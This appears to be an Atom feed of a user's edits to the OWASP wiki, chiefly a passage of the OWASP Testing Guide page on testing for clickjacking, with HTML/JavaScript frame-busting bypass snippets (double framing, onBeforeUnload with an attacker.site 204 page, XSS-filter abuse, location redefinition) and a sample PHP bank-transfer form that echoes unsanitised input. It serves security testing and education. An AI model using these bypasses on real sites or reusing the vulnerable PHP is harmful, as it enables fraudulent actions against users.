<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tomas+Zatko</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tomas+Zatko"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Tomas_Zatko"/>
		<updated>2026-05-17T14:47:14Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWTGv4_Contributors_list&amp;diff=195728</id>
		<title>OWTGv4 Contributors list</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWTGv4_Contributors_list&amp;diff=195728"/>
				<updated>2015-06-03T13:53:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tomas Zatko: Added Tomas Zatko. He is already in pdf version https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Proposed Contributors team (DRAFT):'''&amp;lt;br&amp;gt;&lt;br /&gt;
This page is obsolete, we will create a new one at the end of the project &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Pavol Luptak&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Marco Morana&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Giorgio Fedon&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Gianrico Ingrosso&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Giuseppe Bonfà&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Roberto Suggi Liverani&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Robert Smith&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Andrew Muller&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Robert Winkel&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; tripurari rai&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Thomas Ryan&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; tim bertels&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Cecil Su&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Aung KhAnt&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Norbert Szetei&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; michael.boman&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Wagner Elias&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Kevin Horvat&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Tom Brennan &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Juan Galiana Lara&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Sumit Siddharth&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Mike Hryekewicz&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Simon Bennetts&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ray Schippers&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Raul Siles&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Jayanta Karmakar&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Brad Causey&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Vicente Aguilera&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ismael Gonçalves &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; David Fern&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Tom Eston&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Kevin Horvath&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Rick Mitchell&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Eduardo Castellanos &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Simone Onofri &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Harword Sheen &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Amro AlOlaqi &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Suhas Desai&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ryan Dewhurst&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Zaki Akhmad &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Davide Danelon &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Alexander Antukh &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Thomas Kalamaris &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Alexander Vavousis &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Clerkendweller &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Christian Heinrich  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Babu Arokiadas  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Rob Barnes  &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ben Walther &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Tomas Zatko &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Reviewers team (Rev. 7 Apr 2014):'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
- Davide Danelon &amp;lt;br&amp;gt;&lt;br /&gt;
- Andrea Rosignoli&amp;lt;br&amp;gt;&lt;br /&gt;
- Irene Abezgauz&amp;lt;br&amp;gt;&lt;br /&gt;
- Lode Vanstechelman&amp;lt;br&amp;gt;&lt;br /&gt;
- Sebastien Gioria&amp;lt;br&amp;gt;&lt;br /&gt;
- Yiannis Pavlosoglou &amp;lt;br&amp;gt;&lt;br /&gt;
- Aditya Balapure &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tomas Zatko</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=164691</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=164691"/>
				<updated>2013-12-15T23:40:22Z</updated>
		
		<summary type="html">&lt;p&gt;Tomas Zatko: X-Frame-Options values&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (that is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interact (in most cases by clicking) on something different to what the user believes he is interacting on. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application throught the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Blackbox testing for Clickjacking is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
===Testing for Clickjacking vulnerabilities:===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some circumventions that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smarthphone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all requests and responses parameters flowing  through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability.&lt;br /&gt;
It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. &lt;br /&gt;
In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
